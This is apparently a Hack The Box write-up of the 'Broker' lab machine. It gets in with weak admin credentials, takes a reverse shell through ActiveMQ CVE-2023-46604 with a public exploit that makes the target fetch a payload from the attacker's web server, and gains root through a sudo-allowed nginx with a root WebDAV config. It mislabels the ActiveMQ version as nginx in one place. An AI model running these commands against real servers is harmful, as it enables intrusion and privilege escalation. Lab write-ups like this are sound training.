Broker Machine | HTB Challenge #2 Walkthrough

Another day, another post on Medium with a new Linux machine.

I will be going through the following Broker machine:

Reconnaissance:

I always start off with a detailed nmap:

nmap -p- -T5 -v -sC -sV 10.129.230.87

-sC: a default script scan against target
-sV: Service Version Detection to check for vulnerable versions
-p-: scanning all ports
-v: giving me feedback while scanning
-T5: make the scan super fast

As we can see, we have 3 ports we are interested in:

22/tcp: SSH port, we will ignore it for now since we don't have any credentials
80/tcp: HTTP port running nginx 1.18.0 version, we will check out the web page for hints!
1883/tcp: ActiveMQ port, a standard nework port used for unecrypted MQTT (Message Queunig Temeletry Transport) communications

Enumeration:

First of all, since the HTTP port is open, I found the following page:

The page is requesting for credentials that we don't have at the moment, I decided to test for weak credentials like admin:admin and it worked!

I landed on this page, there is nothing useful in this page, so I decided to try my luck with /admin subdirectory and see if we are allowed to enter:

We are in! We can now see the version running the service which is 5.15.15

Exploitation:

Upon checking online for exploits for nginx 5.15.15, we found the following useful repo that exploits the vulnerability:

GitHub - Strikoder-Premium/CVE-2023-46604-ActiveMQ-RCE-Python: ActiveMQ Remote Code Execution… ActiveMQ Remote Code Execution (CVE-2023-46604) PoC and exploit in Python …

I cloned the repo into my kali linux:

git clone https://github.com/Strikoder-Premium/CVE-2023-46604-ActiveMQ-RCE-Python

then go to the folder:

cd CVE-2023–46604-ActiveMQ-RCE-Python

Then I ran my nc listener in another terminal:

nc -nvlp 1001

Now, I returned to my original terminal and ran:

python3 generate_poc.py -i YOUR_IP_ADDRESS -p 1001

This is done to generate the XML file needed for the exploit.

I opened another terminal and ran:

python3 -m http.server 2002

And finally, run the following command:

python3 main.py -i $TARGET_IP -u http://$YOUR_IP:2002/poc-linux.xml

python3 main.py -i $TARGET_IP -u http://$YOUR_IP:2002/poc-linux.xml

If we go back to our listener, we can find that we got our foothold on the target machine:

To access user.txt file, run the following command:

cat /home/activemq/user.txt

Privilege Escalation:

First, you should always start off with sudo -l command because it let's you know what command you are allowed to execute with elevated privileges:

As you can see, we have path /usr/sbin/nginx we can run as any other user with sudo.

I decided to search for nginx privilege escalation exploits on nginx, and I found the following repo:

https://github.com/DylanGrl/nginx_sudo_privesc

The exploit creates an nginx config file that allows us to PUT resources in the system with root permission.

I modified their exploit partially and copy it to a file on my attacking terminal as follows:

nano nginx.conf

user root; events { worker_connections 1024; } http { server { listen 1337; root /; autoindex on; dav_methods PUT; } }

Inside a new terminal, run:

python3 -m http.server 8000

Then on my nc listener with activemq user, I created a tmp folder where I uploaded the config file from my attack machine to the target box:

cd /tmp

wget http://YOUR_IP:8000/nginx.conf

sudo nginx -c /tmp/nginx.conf

curl localhost:1337/root/root.txt

This will print out your root.txt flag!

Thanks for reading!